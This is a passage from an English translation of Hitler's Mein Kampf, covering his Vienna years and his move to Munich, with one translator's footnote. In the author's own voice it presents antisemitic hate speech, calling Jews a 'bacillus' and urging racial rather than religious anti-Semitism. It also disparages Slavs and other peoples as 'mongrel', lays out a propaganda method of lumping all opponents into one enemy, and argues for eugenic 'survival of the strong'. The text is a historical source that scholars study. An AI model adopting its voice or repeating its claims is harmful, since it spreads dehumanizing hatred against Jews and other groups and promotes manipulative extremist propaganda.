from the sheer +instinct of self-preservation. + +Another example may further illustrate how far this applies to the +different religious denominations. In so far as its origin and tradition +are based on German ideals, Protestantism of itself defends those ideals +better. But it fails the moment it is called upon to defend national +interests which do not belong to the sphere of its ideals and +traditional development, or which, for some reason or other, may be +rejected by that sphere. + +Therefore Protestantism will always take its part in promoting German +ideals as far as concerns moral integrity or national education, when +the German spiritual being or language or spiritual freedom are to be +defended: because these represent the principles on which Protestantism +itself is grounded. But this same Protestantism violently opposes every +attempt to rescue the nation from the clutches of its mortal enemy; +because the Protestant attitude towards the Jews is more or less rigidly +and dogmatically fixed. And yet this is the first problem which has to +be solved, unless all attempts to bring about a German resurgence or to +raise the level of the nation's standing are doomed to turn out +nonsensical and impossible. + +During my sojourn in Vienna I had ample leisure and opportunity to study +this problem without allowing any prejudices to intervene; and in my +daily intercourse with people I was able to establish the correctness of +the opinion I formed by the test of thousands of instances. + +In this focus where the greatest varieties of nationality had converged +it was quite clear and open to everybody to see that the German pacifist +was always and exclusively the one who tried to consider the interests +of his own nation objectively; but you could never find a Jew who took a +similar attitude towards his own race. Furthermore, I found that only +the German Socialist is 'international' in the sense that he feels +himself obliged not to demand justice for his own people in any other +manner than by whining and wailing to his international comrades. Nobody +could ever reproach Czechs or Poles or other nations with such conduct. +In short, even at that time, already I recognized that this evil is only +partly a result of the doctrines taught by Socialism, Pacifism, etc., +but mainly the result of our totally inadequate system of education, the +defects of which are responsible for the lack of devotion to our own +national ideals. + +Therefore the first theoretical argument advanced by the Pan-German +leaders as the basis of their offensive against Catholicism was quite +entenable. + +The only way to remedy the evil I have been speaking of is to train the +Germans from youth upwards to an absolute recognition of the rights of +their own people, instead of poisoning their minds, while they are still +only children, with the virus of this curbed 'objectivity', even in +matters concerning the very maintenance of our own existence. The result +of this would be that the Catholic in Germany, just as in Ireland, +Poland or France, will be a German first and foremost. But all this +presupposes a radical change in the national government. + +The strongest proof in support of my contention is furnished by what +took place at that historical juncture when our people were called for +the last time before the tribunal of History to defend their own +existence, in a life-or-death struggle. + +As long as there was no lack of leadership in the higher circles, the +people fulfilled their duty and obligations to an overwhelming extent. +Whether Protestant pastor or Catholic priest, each did his very utmost +in helping our powers of resistance to hold out, not only in the +trenches but also, and even more so, at home. During those years, and +especially during the first outburst of enthusiasm, in both religious +camps there was one undivided and sacred German Empire for whose +preservation and future existence they all prayed to Heaven. + +The Pan-German Movement in Austria ought to have asked itself this one +question: Is the maintenance of the German element in Austria possible +or not, as long as that element remains within the fold of the Catholic +Faith? If that question should have been answered in the affirmative, +then the political Party should not have meddled in religious and +denominational questions. But if the question had to be answered in the +negative, then a religious reformation should have been started and not +a political party movement. + +Anyone who believes that a religious reformation can be achieved through +the agency of a political organization shows that he has no idea of the +development of religious conceptions and doctrines of faith and how +these are given practical effect by the Church. + +No man can serve two masters. And I hold that the foundation or +overthrow of a religion has far greater consequences than the foundation +or overthrow of a State, to say nothing of a Party. + +It is no argument to the contrary to say that the attacks were only +defensive measures against attacks from the other side. + +Undoubtedly there have always been unscrupulous rogues who did not +hesitate to degrade religion to the base uses of politics. Nearly always +such a people had nothing else in their minds except to make a business +of religions and politics. But on the other hand it would be wrong to +hold religion itself, or a religious denomination, responsible for a +number of rascals who exploit the Church for their own base interests +just as they would exploit anything else in which they had a part. + +Nothing could be more to the taste of one of these parliamentary +loungers and tricksters than to be able to find a scapegoat for his +political sharp-practice--after the event, of course. The moment +religion or a religious denomination is attacked and made responsible +for his personal misdeeds this shrewd fellow will raise a row at once +and call the world to witness how justified he was in acting as he did, +proclaiming that he and his eloquence alone have saved religion and the +Church. The public, which is mostly stupid and has a very short memory, +is not capable of recognizing the real instigator of the quarrel in the +midst of the turmoil that has been raised. Frequently it does not +remember the beginning of the fight and so the rogue gets by with his +stunt. + +A cunning fellow of that sort is quite well aware that his misdeeds have +nothing to do with religion. And so he will laugh up his sleeve all the +more heartily when his honest but artless adversary loses the game and, +one day losing all faith in humanity, retires from the activities of +public life. + +But from another viewpoint also it would be wrong to make religion, or +the Church as such, responsible for the misdeeds of individuals. If one +compares the magnitude of the organization, as it stands visible to +every eye, with the average weakness of human nature we shall have to +admit that the proportion of good to bad is more favourable here than +anywhere else. Among the priests there may, of course, be some who use +their sacred calling to further their political ambitions. There are +clergy who unfortunately forget that in the political mêlée they ought +to be the paladins of the more sublime truths and not the abettors of +falsehood and slander. But for each one of these unworthy specimens we +can find a thousand or more who fulfil their mission nobly as the +trustworthy guardians of souls and who tower above the level of our +corrupt epoch, as little islands above the seaswamp. + +I cannot condemn the Church as such, and I should feel quite as little +justified in doing so if some depraved person in the robe of a priest +commits some offence against the moral law. Nor should I for a moment +think of blaming the Church if one of its innumerable members betrays +and besmirches his compatriots, especially not in epochs when such +conduct is quite common. We must not forget, particularly in our day, +that for one such Ephialtes (Note 7) there are a thousand whose hearts +bleed in sympathy with their people during these years of misfortune and +who, together with the best of our nation, yearn for the hour when fortune +will smile on us again. + +[Note 7. Herodotus (Book VII, 213-218) tells the story of how a Greek +traitor, Ephialtes, helped the Persian invaders at the Battle of +Thermopylae (480 B.C.) When the Persian King, Xerxes, had begun to +despair of being able tobreak through the Greek defence, Ephialtes came +to him and, on being promiseda definite payment, told the King of a +pathway over the shoulder of the mountainto the Greek end of the Pass. +The bargain being clinched, Ephialtes led adetachment of the Persian +troops under General Hydarnes over the mountainpathway. Thus taken in +the rear, the Greek defenders, under Leonidas, King of Sparta, had to +fight in two opposite directions within the narrow pass. Terrible +slaughter ensued and Leonidas fell in the thick of the fighting. + +The bravery of Leonidas and the treason of Ephialtes impressed Hitler, +asit does almost every schoolboy. The incident is referred to again in +MEIN KAMPF (Chap. VIII, Vol. I), where Hitler compares the German troops +thatfell in France and Flanders to the Greeks at Thermopylae, the +treachery of Ephialtes being suggested as the prototype of the defeatist +policy of the German politicians towards the end of the Great War.] + +If it be objected that here we are concerned not with the petty problems +of everyday life but principally with fundamental truths and questions +of dogma, the only way of answering that objection is to ask a question: + +Do you feel that Providence has called you to proclaim the Truth to the +world? If so, then go and do it. But you ought to have the courage to do +it directly and not use some political party as your mouthpiece; for in +this way you shirk your vocation. In the place of something that now +exists and is bad put something else that is better and will last into +the future. + +If you lack the requisite courage or if you yourself do not know clearly +what your better substitute ought to be, leave the whole thing alone. +But, whatever happens, do not try to reach the goal by the roundabout +way of a political party if you are not brave enough to fight with your +visor lifted. + +Political parties have no right to meddle in religious questions except +when these relate to something that is alien to the national well-being +and thus calculated to undermine racial customs and morals. + +If some ecclesiastical dignitaries should misuse religious ceremonies or +religious teaching to injure their own nation their opponents ought +never to take the same road and fight them with the same weapons. + +To a political leader the religious teachings and practices of his +people should be sacred and inviolable. Otherwise he should not be a +statesman but a reformer, if he has the necessary qualities for such a +mission. + +Any other line of conduct will lead to disaster, especially in Germany. + +In studying the Pan-German Movement and its conflict with Rome I was +then firmly persuaded, and especially in the course of later years, that +by their failure to understand the importance of the social problem the +Pan-Germanists lost the support of the broad masses, who are the +indispensable combatants in such a movement. By entering Parliament the +Pan-German leaders deprived themselves of the great driving force which +resides in the masses and at the same time they laid on their own +shoulders all the defects of the parliamentary institution. Their +struggle against the Church made their position impossible in numerous +circles of the lower and middle class, while at the same time it robbed +them of innumerable high-class elements--some of the best indeed that +the nation possessed. The practical outcome of the Austrian Kulturkampf +was negative. + +Although they succeeded in winning 100,000 members away from the Church, +that did not do much harm to the latter. The Church did not really need +to shed any tears over these lost sheep, for it lost only those who had +for a long time ceased to belong to it in their inner hearts. The +difference between this new reformation and the great Reformation was +that in the historic epoch of the great Reformation some of the best +members left the Church because of religious convictions, whereas in +this new reformation only those left who had been indifferent before and +who were now influenced by political considerations. From the political +point of view alone the result was as ridiculous as it was deplorable. + +Once again a political movement which had promised so much for the +German nation collapsed, because it was not conducted in a spirit of +unflinching adherence to naked reality, but lost itself in fields where +it was bound to get broken up. + +The Pan-German Movement would never have made this mistake if it had +properly understood the PSYCHE of the broad masses. If the leaders had +known that, for psychological reasons alone, it is not expedient to +place two or more sets of adversaries before the masses--since that +leads to a complete splitting up of their fighting strength--they would +have concentrated the full and undivided force of their attack against a +single adversary. Nothing in the policy of a political party is so +fraught with danger as to allow its decisions to be directed by people +who want to have their fingers in every pie though they do not know how +to cook the simplest dish. + +But even though there is much that can really be said against the +various religious denominations, political leaders must not forget that +the experience of history teaches us that no purely political party in +similar circumstances ever succeeded in bringing about a religious +reformation. One does not study history for the purpose of forgetting or +mistrusting its lessons afterwards, when the time comes to apply these +lessons in practice. It would be a mistake to believe that in this +particular case things were different, so that the eternal truths of +history were no longer applicable. One learns history in order to be +able to apply its lessons to the present time and whoever fails to do +this cannot pretend to be a political leader. In reality he is quite a +superficial person or, as is mostly the case, a conceited simpleton +whose good intentions cannot make up for his incompetence in practical +affairs. + +The art of leadership, as displayed by really great popular leaders in +all ages, consists in consolidating the attention of the people against +a single adversary and taking care that nothing will split up that +attention into sections. The more the militant energies of the people +are directed towards one objective the more will new recruits join the +movement, attracted by the magnetism of its unified action, and thus the +striking power will be all the more enhanced. The leader of genius must +have the ability to make different opponents appear as if they belonged +to the one category; for weak and wavering natures among a leader's +following may easily begin to be dubious about the justice of their own +cause if they have to face different enemies. + +As soon as the vacillating masses find themselves facing an opposition +that is made up of different groups of enemies their sense of +objectivity will be aroused and they will ask how is it that all the +others can be in the wrong and they themselves, and their movement, +alone in the right. + +Such a feeling would be the first step towards a paralysis of their +fighting vigour. Where there are various enemies who are split up into +divergent groups it will be necessary to block them all together as +forming one solid front, so that the mass of followers in a popular +movement may see only one common enemy against whom they have to fight. +Such uniformity intensifies their belief in the justice of their own +cause and strengthens their feeling of hostility towards the opponent. + +The Pan-German Movement was unsuccessful because the leaders did not +grasp the significance of that truth. They saw the goal clearly and +their intentions were right; but they took the wrong road. Their action +may be compared to that of an Alpine climber who never loses sight of +the peak he wants to reach, who has set out with the greatest +determination and energy, but pays no attention to the road beneath his +feet. With his eye always fixed firmly on the goal he does not think +over or notice the nature of the ascent and finally he fails. + +The manner in which the great rival of the Pan-German Party set out to +attain its goal was quite different. The way it took was well and +shrewdly chosen; but it did not have a clear vision of the goal. In +almost all the questions where the Pan-German Movement failed, the +policy of the Christian-Socialist Party was correct and systematic. + +They assessed the importance of the masses correctly, and thus they +gained the support of large numbers of the popular masses by emphasizing +the social character of the Movement from the very start. By directing +their appeal especially to the lower middle class and the artisans, they +gained adherents who were faithful, persevering and self-sacrificing. +The Christian-Socialist leaders took care to avoid all controversy with +the institutions of religion and thus they secured the support of that +mighty organization, the Catholic Church. Those leaders recognized the +value of propaganda on a large scale and they were veritable virtuosos +in working up the spiritual instincts of the broad masses of their +adherents. + +The failure of this Party to carry into effect the dream of saving +Austria from dissolution must be attributed to two main defects in the +means they employed and also the lack of a clear perception of the ends +they wished to reach. + +The anti-Semitism of the Christian-Socialists was based on religious +instead of racial principles. The reason for this mistake gave rise to +the second error also. + +The founders of the Christian-Socialist Party were of the opinion that +they could not base their position on the racial principle if they +wished to save Austria, because they felt that a general disintegration +of the State might quickly result from the adoption of such a policy. In +the opinion of the Party chiefs the situation in Vienna demanded that +all factors which tended to estrange the nationalities from one another +should be carefully avoided and that all factors making for unity should +be encouraged. + +At that time Vienna was so honeycombed with foreign elements, especially +the Czechs, that the greatest amount of tolerance was necessary if these +elements were to be enlisted in the ranks of any party that was not +anti-German on principle. If Austria was to be saved those elements were +indispensable. And so attempts were made to win the support of the small +traders, a great number of whom were Czechs, by combating the liberalism +of the Manchester School; and they believed that by adopting this +attitude they had found a slogan against Jewry which, because of its +religious implications, would unite all the different nationalities +which made up the population of the old Austria. + +It was obvious, however, that this kind of anti-Semitism did not upset +the Jews very much, simply because it had a purely religious foundation. +If the worst came to the worst a few drops of baptismal water would +settle the matter, hereupon the Jew could still carry on his business +safely and at the same time retain his Jewish nationality. + +On such superficial grounds it was impossible to deal with the whole +problem in an earnest and rational way. The consequence was that many +people could not understand this kind of anti-Semitism and therefore +refused to take part in it. + +The attractive force of the idea was thus restricted exclusively to +narrow-minded circles, because the leaders failed to go beyond the mere +emotional appeal and did not ground their position on a truly rational +basis. The intellectuals were opposed to such a policy on principle. It +looked more and more as if the whole movement was a new attempt to +proselytize the Jews, or, on the other hand, as if it were merely +organized from the wish to compete with other contemporary movements. +Thus the struggle lost all traces of having been organized for a +spiritual and sublime mission. Indeed, it seemed to some people--and +these were by no means worthless elements--to be immoral and +reprehensible. The movement failed to awaken a belief that here there +was a problem of vital importance for the whole of humanity and on the +solution of which the destiny of the whole Gentile world depended. + +Through this shilly-shally way of dealing with the problem the +anti-Semitism of the Christian-Socialists turned out to be quite +ineffective. + +It was anti-Semitic only in outward appearance. And this was worse than +if it had made no pretences at all to anti-Semitism; for the pretence +gave rise to a false sense of security among people who believed that +the enemy had been taken by the ears; but, as a matter of fact, the +people themselves were being led by the nose. + +The Jew readily adjusted himself to this form of anti-Semitism and found +its continuance more profitable to him than its abolition would be. + +This whole movement led to great sacrifices being made for the sake of +that State which was composed of many heterogeneous nationalities; but +much greater sacrifices had to be made by the trustees of the German +element. + +One did not dare to be 'nationalist', even in Vienna, lest the ground +should fall away from under one's feet. It was hoped that the Habsburg +State might be saved by a silent evasion of the nationalist question; +but this policy led that State to ruin. The same policy also led to the +collapse of Christian Socialism, for thus the Movement was deprived of +the only source of energy from which a political party can draw the +necessary driving force. + +During those years I carefully followed the two movements and observed +how they developed, one because my heart was with it and the other +because of my admiration for that remarkable man who then appeared to me +as a bitter symbol of the whole German population in Austria. + +When the imposing funeral CORTÈGE of the dead Burgomaster wound its way +from the City Hall towards the Ring Strasse I stood among the hundreds +of thousands who watched the solemn procession pass by. As I stood there +I felt deeply moved, and my instinct clearly told me that the work of +this man was all in vain, because a sinister Fate was inexorably leading +this State to its downfall. If Dr. Karl Lueger had lived in Germany he +would have been ranked among the great leaders of our people. It was a +misfortune for his work and for himseif that he had to live in this +impossible State. + +When he died the fire had already been enkindled in the Balkans and was +spreading month by month. Fate had been merciful in sparing him the +sight of what, even to the last, he had hoped to prevent. + +I endeavoured to analyse the cause which rendered one of those movements +futile and wrecked the progress of the other. The result of this +investigation was the profound conviction that, apart from the inherent +impossibility of consolidating the position of the State in the old +Austria, the two parties made the following fatal mistake: + +The Pan-German Party was perfectly right in its fundamental ideas +regarding the aim of the Movement, which was to bring about a German +restoration, but it was unfortunate in its choice of means. It was +nationalist, but unfortunately it paid too little heed to the social +problem, and thus it failed to gain the support of the masses. Its +anti-Jewish policy, however, was grounded on a correct perception of the +significance of the racial problem and not on religious principles. But +it was mistaken in its assessment of facts and adopted the wrong tactics +when it made war against one of the religious denominations. + +The Christian-Socialist Movement had only a vague concept of a German +revival as part of its object, but it was intelligent and fortunate in +the choice of means to carry out its policy as a Party. The +Christian-Socialists grasped the significance of the social question; +but they adopted the wrong principles in their struggle against Jewry, +and they utterly failed to appreciate the value of the national idea as +a source of political energy. + +If the Christian-Socialist Party, together with its shrewd judgment in +regard to the worth of the popular masses, had only judged rightly also +on the importance of the racial problem--which was properly grasped by +the Pan-German Movement--and if this party had been really nationalist; +or if the Pan-German leaders, on the other hand, in addition to their +correct judgment of the Jewish problem and of the national idea, had +adopted the practical wisdom of the Christian-Socialist Party, and +particularly their attitude towards Socialism--then a movement would +have developed which, in my opinion, might at that time have +successfully altered the course of German destiny. + +If things did not turn out thus, the fault lay for the most part in the +inherent nature of the Austrian State. + +I did not find my own convictions upheld by any party then in existence, +and so I could not bring myself to enlist as a member in any of the +existing organizations or even lend a hand in their struggle. Even at +that time all those organizations seemed to me to be already jaded in +their energies and were therefore incapable of bringing about a national +revival of the German people in a really profound way, not merely +outwardly. + +My inner aversion to the Habsburg State was increasing daily. + +The more I paid special attention to questions of foreign policy, the +more the conviction grew upon me that this phantom State would surely +bring misfortune on the Germans. I realized more and more that the +destiny of the German nation could not be decisively influenced from +here but only in the German Empire itself. And this was true not only in +regard to general political questions but also--and in no less a +degree--in regard to the whole sphere of cultural life. + +Here, also, in all matters affecting the national culture and art, the +Austrian State showed all the signs of senile decrepitude, or at least +it was ceasing to be of any consequence to the German nation, as far as +these matters were concerned. This was especially true of its +architecture. Modern architecture could not produce any great results in +Austria because, since the building of the Ring Strasse--at least in +Vienna--architectural activities had become insignificant when compared +with the progressive plans which were being thought out in Germany. + +And so I came more and more to lead what may be called a twofold +existence. Reason and reality forced me to continue my harsh +apprenticeship in Austria, though I must now say that this +apprenticeship turned out fortunate in the end. But my heart was +elsewhere. + +A feeling of discontent grew upon me and made me depressed the more I +came to realize the inside hollowness of this State and the +impossibility of saving it from collapse. At the same time I felt +perfectly certain that it would bring all kinds of misfortune to the +German people. + +I was convinced that the Habsburg State would balk and hinder every +German who might show signs of real greatness, while at the same time it +would aid and abet every non-German activity. + +This conglomerate spectacle of heterogeneous races which the capital of +the Dual Monarchy presented, this motley of Czechs, Poles, Hungarians, +Ruthenians, Serbs and Croats, etc., and always that bacillus which is +the solvent of human society, the Jew, here and there and +everywhere--the whole spectacle was repugnant to me. The gigantic city +seemed to be the incarnation of mongrel depravity. + +The German language, which I had spoken from the time of my boyhood, was +the vernacular idiom of Lower Bavaria. I never forgot that particular +style of speech, and I could never learn the Viennese dialect. The +longer I lived in that city the stronger became my hatred for the +promiscuous swarm of foreign peoples which had begun to batten on that +old nursery ground of German culture. The idea that this State could +maintain its further existence for any considerable time was quite +absurd. + +Austria was then like a piece of ancient mosaic in which the cohesive +cement had dried up and become old and friable. As long as such a work +of art remains untouched it may hold together and continue to exist; but +the moment some blow is struck on it then it breaks up into thousands of +fragments. Therefore it was now only a question of when the blow would +come. + +Because my heart was always with the German Empire and not with the +Austrian Monarchy, the hour of Austria's dissolution as a State appeared +to me only as the first step towards the emancipation of the German +nation. + +All these considerations intensified my yearning to depart for that +country for which my heart had been secretly longing since the days of +my youth. + +I hoped that one day I might be able to make my mark as an architect and +that I could devote my talents to the service of my country on a large +or small scale, according to the will of Fate. + +A final reason was that I longed to be among those who lived and worked +in that land from which the movement should be launched, the object of +which would be the fulfilment of what my heart had always longed for, +namely, the union of the country in which I was born with our common +fatherland, the German Empire. + +There are many who may not understand how such a yearning can be so +strong; but I appeal especially to two groups of people. The first +includes all those who are still denied the happiness I have spoken of, +and the second embraces those who once enjoyed that happiness but had it +torn from them by a harsh fate. I turn to all those who have been torn +from their motherland and who have to struggle for the preservation of +their most sacred patrimony, their native language, persecuted and +harried because of their loyalty and love for the homeland, yearning +sadly for the hour when they will be allowed to return to the bosom of +their father's household. To these I address my words, and I know that +they will understand. + +Only he who has experienced in his own inner life what it means to be +German and yet to be denied the right of belonging to his fatherland can +appreciate the profound nostalgia which that enforced exile causes. It +is a perpetual heartache, and there is no place for joy and contentment +until the doors of paternal home are thrown open and all those through +whose veins kindred blood is flowing will find peace and rest in their +common REICH. + +Vienna was a hard school for me; but it taught me the most profound +lessons of my life. I was scarcely more than a boy when I came to live +there, and when I left it I had grown to be a man of a grave and pensive +nature. In Vienna I acquired the foundations of a WELTANSCHAUUNG in +general and developed a faculty for analysing political questions in +particular. That WELTANSCHAUUNG and the political ideas then formed +have never been abandoned, though they were expanded later on in some +directions. It is only now that I can fully appreciate how valuable +those years of apprenticeship were for me. + +That is why I have given a detailed account of this period. There, in +Vienna, stark reality taught me the truths that now form the fundamental +principles of the Party which within the course of five years has grown +from modest beginnings to a great mass movement. I do not know what my +attitude towards Jewry, Social-Democracy, or rather Marxism in general, +to the social problem, etc., would be to-day if I had not acquired a +stock of personal beliefs at such an early age, by dint of hard study +and under the duress of Fate. + +For, although the misfortunes of the Fatherland may have stimulated +thousands and thousands to ponder over the inner causes of the collapse, +that could not lead to such a thorough knowledge and deep insight as a +man may develop who has fought a hard struggle for many years so that he +might be master of his own fate. + + + + +CHAPTER IV + + + +MUNICH + + +At last I came to Munich, in the spring of 1912. + +The city itself was as familiar to me as if I had lived for years within +its walls. + +This was because my studies in architecture had been constantly turning +my attention to the metropolis of German art. One must know Munich if +one would know Germany, and it is impossible to acquire a knowledge of +German art without seeing Munich. + +All things considered, this pre-war sojourn was by far the happiest and +most contented time of my life. My earnings were very slender; but after +all I did not live for the sake of painting. I painted in order to get +the bare necessities of existence while I continued my studies. I was +firmly convinced that I should finally succeed in reaching the goal I +had marked out for myself. And this conviction alone was strong enough +to enable me to bear the petty hardships of everyday life without +worrying very much about them. + +Moreover, almost from the very first moment of my sojourn there I came +to love that city more than any other place known to me. A German city! +I said to myself. How different to Vienna. It was with a feeling of +disgust that my imagination reverted to that Babylon of races. Another +pleasant feature here was the way the people spoke German, which was +much nearer my own way of speaking than the Viennese idiom. The Munich +idiom recalled the days of my youth, especially when I spoke with those +who had come to Munich from Lower Bavaria. There were a thousand or more +things which I inwardly loved or which I came to love during the course +of my stay. But what attracted me most was the marvellous wedlock of +native folk-energy with the fine artistic spirit of the city, that +unique harmony from the Hofbräuhaus to the Odeon, from the October +Festival to the PINAKOTHEK, etc. The reason why my heart's strings are +entwined around this city as around no other spot in this world is +probably because Munich is and will remain inseparably connected with +the development of my own career; and the fact that from the beginning +of my visit I felt inwardly happy and contented is to be attributed to +the charm of the marvellous Wittelsbach Capital, which has attracted +probably everybody who is blessed with a feeling for beauty instead of +commercial instincts. + +Apart from my professional work, I was most interested in the study of +current political events, particularly those which were connected with +foreign relations. I approached these by way of the German policy of +alliances which, ever since my Austrian days, I had considered to be an +utterly mistaken one. But in Vienna I had not yet seen quite clearly how +far the German Empire had gone in the process of' self-delusion. In +Vienna I was inclined to assume, or probably I persuaded myself to do so +in order to excuse the German mistake, that possibly the authorities in +Berlin knew how weak and unreliable their ally would prove to be when +brought face to face with realities, but that, for more or less +mysterious reasons, they refrained from allowing their opinions on this +point to be known in public. Their idea was that they should support the +policy of alliances which Bismarck had initiated and the sudden +discontinuance of which might be undesirable, if for no other reason +than that it might arouse those foreign countries which were lying in +wait for their chance or might alarm the Philistines at home. + +But my contact with the people soon taught me, to my horror, that my +assumptions were wrong. I was amazed to find everywhere, even in circles +otherwise well informed, that nobody had the slightest intimation of the +real character of the Habsburg Monarchy. Among the common people in +particular there was a prevalent illusion that the Austrian ally was a +Power which would have to be seriously reckoned with and would rally its +man-power in the hour of need. The mass of the people continued to look +upon the Dual Monarchy as a 'German State' and believed that it could be +relied upon. They assumed that its strength could be measured by the +millions of its subjects, as was the case in Germany. First of all, they +did not realize that Austria had ceased to be a German State and, +secondly, that the conditions prevailing within the Austrian Empire were +steadily pushing it headlong to the brink of disaster. + +At that time I knew the condition of affairs in the Austrian State +better than the professional diplomats. Blindfolded, as nearly always, +these diplomats stumbled along on their way to disaster. The opinions +prevailing among the bulk of the people reflected only what had been +drummed into them from official quarters above. And these higher +authorities grovelled before the 'Ally', as the people of old bowed down +before the Golden Calf. They probably thought that by being polite and +amiable they might balance the lack of honesty on the other side. Thus +they took every declaration at its full face value. + +Even while in Vienna I used to be annoyed again and again by the +discrepancy between the speeches of the official statesmen and the +contents of the Viennese Press. And yet Vienna was still a German city, +at least as far as appearances went. But one encountered an utterly +different state of things on leaving Vienna, or rather German-Austria, +and coming into the Slav provinces. It needed only a glance at the +Prague newspapers in order to see how the whole exalted hocus-pocus of +the Triple Alliance was judged from there. In Prague there was nothing +but gibes and sneers for that masterpiece of statesmanship. Even in the +piping times of peace, when the two emperors kissed each other on the +brow in token of friendship, those papers did not cloak their belief +that the alliance would be liquidated the moment a first attempt was +made to bring it down from the shimmering glory of a Nibelungen ideal to +the plane of practical affairs. + +Great indignation was aroused a few years later, when the alliances were +put to the first practical test. Italy not only withdrew from the Triple +Alliance, leaving the other two members to march by themselves. but she +even joined their enemies. That anybody should believe even for a moment +in the possibility of such a miracle as that of Italy fighting on the +same side as Austria would be simply incredible to anyone who did not +suffer from the blindness of official diplomacy. And that was just how +people felt in Austria also. + +In Austria only the Habsburgs and the German-Austrians supported the +alliance. The Habsburgs did so from shrewd calculation of their own +interests and from necessity. The Germans did it out of good faith and +political ignorance. They acted in good faith inasmuch as they believed +that by establishing the Triple Alliance they were doing a great service +to the German Empire and were thus helping to strengthen it and +consolidate its defence. They showed their political ignorance, however, +in holding such ideas, because, instead of helping the German Empire +they really chained it to a moribund State which might bring its +associate into the grave with itself; and, above all, by championing +this alliance they fell more and more a prey to the Habsburg policy of +de-Germanization. For the alliance gave the Habsburgs good grounds for +believing that the German Empire would not interfere in their domestic +affairs and thus they were in a position to carry into effect, with more +ease and less risk, their domestic policy of gradually eliminating the +German element. Not only could the 'objectiveness' of the German +Government be counted upon, and thus there need be no fear of protest +from that quarter, but one could always remind the German-Austrians of +the alliance and thus silence them in case they should ever object to +the reprehensible means that were being employed to establish a Slav +hegemony in the Dual Monarchy. + +What could the German-Austrians do, when the people of the German Empire +itself had openly proclaimed their trust and confidence in the Habsburg +régime? + +Should they resist, and thus be branded openly before their kinsfolk in +the REICH as traitors to their own national interests? They, who for so +many decades had sacrificed so much for the sake of their German +tradition! + +Once the influence of the Germans in Austria had been wiped out, what +then would be the value of the alliance? If the Triple Alliance were to +be advantageous to Germany, was it not a necessary condition that the +predominance of the German element in Austria should be maintained? Or +did anyone really believe that Germany could continue to be the ally of +a Habsburg Empire under the hegemony of the Slavs? + +The official attitude of German diplomacy, as well as that of the +general public towards internal problems affecting the Austrian +nationalities was not merely stupid, it was insane. On the alliance, as +on a solid foundation, they grounded the security and future existence +of a nation of seventy millions, while at the same time they allowed +their partner to continue his policy of undermining the sole foundation +of that alliance methodically and resolutely, from year to year. A day +must come when nothing but a formal contract with Viennese diplomats +would be left. The alliance itself, as an effective support, would be +lost to Germany. + +As far as concerned Italy, such had been the case from the outset. + +If people in Germany had studied history and the psychology of nations a +little more carefully not one of them could have believed for a single +hour that the Quirinal and the Viennese Hofburg could ever stand +shoulder to shoulder on a common battle front. Italy would have exploded +like a volcano if any Italian government had dared to send a single +Italian soldier to fight for the Habsburg State. So fanatically hated +was this State that the Italians could stand in no other relation to it +on a battle front except as enemies. More than once in Vienna I have +witnessed explosions of the contempt and profound hatred which 'allied' +the Italian to the Austrian State. The crimes which the House of +Habsburg committed against Italian freedom and independence during +several centuries were too grave to be forgiven, even with the best of +goodwill. But this goodwill did not exist, either among the rank and +file of the population or in the government. Therefore for Italy there +were only two ways of co-existing with Austria--alliance or war. By +choosing the first it was possible to prepare leisurely for the second. + +Especially since relations between Russia and Austria tended more and +more towards the arbitrament of war, the German policy of alliances was +as senseless as it was dangerous. Here was a classical instance which +demonstrated the lack of any broad or logical lines of thought. + +But what was the reason for forming the alliance at all? It could not +have been other than the wish to secure the future of the REICH better +than if it were to depend exclusively on its own resources. But the +future of the REICH could not have meant anything else than the problem +of securing the means of existence for the German people. + +The only questions therefore were the following: What form shall the +life of the nation assume in the near future--that is to say within such +a period as we can forecast? And by what means can the necessary +foundation and security be guaranteed for this development within the +framework of the general distribution of power among the European +nations? A clear analysis of the principles on which the foreign policy +of German statecraft were to be based should have led to the following +conclusions: + +The annual increase of population in Germany amounts to almost 900,000 +souls. The difficulties of providing for this army of new citizens must +grow from year to year and must finally lead to a catastrophe, unless +ways and means are found which will forestall the danger of misery and +hunger. There were four ways of providing against this terrible +calamity: + +(1) It was possible to adopt the French example and artificially +restrict the number of births, thus avoiding an excess of population. + +Under certain circumstances, in periods of distress or under bad +climatic condition, or if the soil yields too poor a return, Nature +herself tends to check the increase of population in some countries and +among some races, but by a method which is quite as ruthless as it is +wise. It does not impede the procreative faculty as such; but it does +impede the further existence of the offspring by submitting it to such +tests and privations that everything which is less strong or less +healthy is forced to retreat into the bosom of tile unknown. Whatever +survives these hardships of existence has been tested and tried a +thousandfold, hardened and renders fit to continue the process of +procreation; so that the same thorough selection will begin all over +again. By thus dealing brutally with the individual and recalling him +the very moment he shows that he is not fitted for the trials of life, +Nature preserves the strength of the race and the species and raises it +to the highest degree of efficiency. + +The decrease in numbers therefore implies an increase of strength, as +far as the individual is concerned, and this finally means the +invigoration of the species. + +But the case is different when man himself starts the process of +numerical restriction. Man is not carved from Nature's wood. He is made +of 'human' material. He knows more than the ruthless Queen of Wisdom. He +does not impede the preservation of the individual but prevents +procreation itself. To the individual, who always sees only himself and +not the race, this line of action seems more humane and just than the +opposite way. But, unfortunately, the consequences are also the +opposite. + +By leaving the process of procreation unchecked and by submitting the +individual to the hardest preparatory tests in life, Nature selects the +best from an abundance of single elements and stamps them as fit to live +and carry on the conservation of the species. But man restricts the +procreative faculty and strives obstinately to keep alive at any cost +whatever has once been born. This correction of the Divine Will seems to +him to be wise and humane, and he rejoices at having trumped Nature's +card in one game at least and thus proved that she is not entirely +reliable. The dear little ape of an all-mighty father is delighted to +see and hear that he has succeeded in effecting a numerical restriction; +but he would be very displeased if told that this, his system, brings +about a degeneration in personal quality. + +For as soon as the procreative faculty is thwarted and the number of +births diminished, the natural struggle for existence which allows only +healthy and strong individuals to survive is replaced by a sheer craze +to 'save' feeble and even diseased creatures at any cost. And thus the +seeds are sown for a human progeny which will become more and more +miserable from one generation to another, as long as Nature's will is +scorned. + +But if that policy be carried out the final results must be that such a +nation will eventually terminate its own existence on this earth; for +though man may defy the eternal laws of procreation during a certain +period, vengeance will follow sooner or later. A stronger race will oust +that which has grown weak; for the vital urge, in its ultimate form, +will burst asunder all the absurd chains of this so-called humane +consideration for the individual and will replace it with the humanity +of Nature, which wipes out what is weak in order to give place to the +strong. + +Any policy which aims at securing the existence of a nation by +restricting the birth-rate robs that nation of its future. + +(2) A second solution is that of internal colonization. This is a +proposal which is frequently made in our own time and one hears it +lauded a good deal. It is a suggestion that is well-meant but it is +misunderstood by most people, so that it is the source of more mischief +than can be imagined. + +It is certainly true that the productivity of the soil can be increased +within certain limits; but only within defined limits and not +indefinitely. By increasing the productive powers of the soil it will be +possible to balance the effect of a surplus birth-rate in Germany for a +certain period of time, without running any danger of 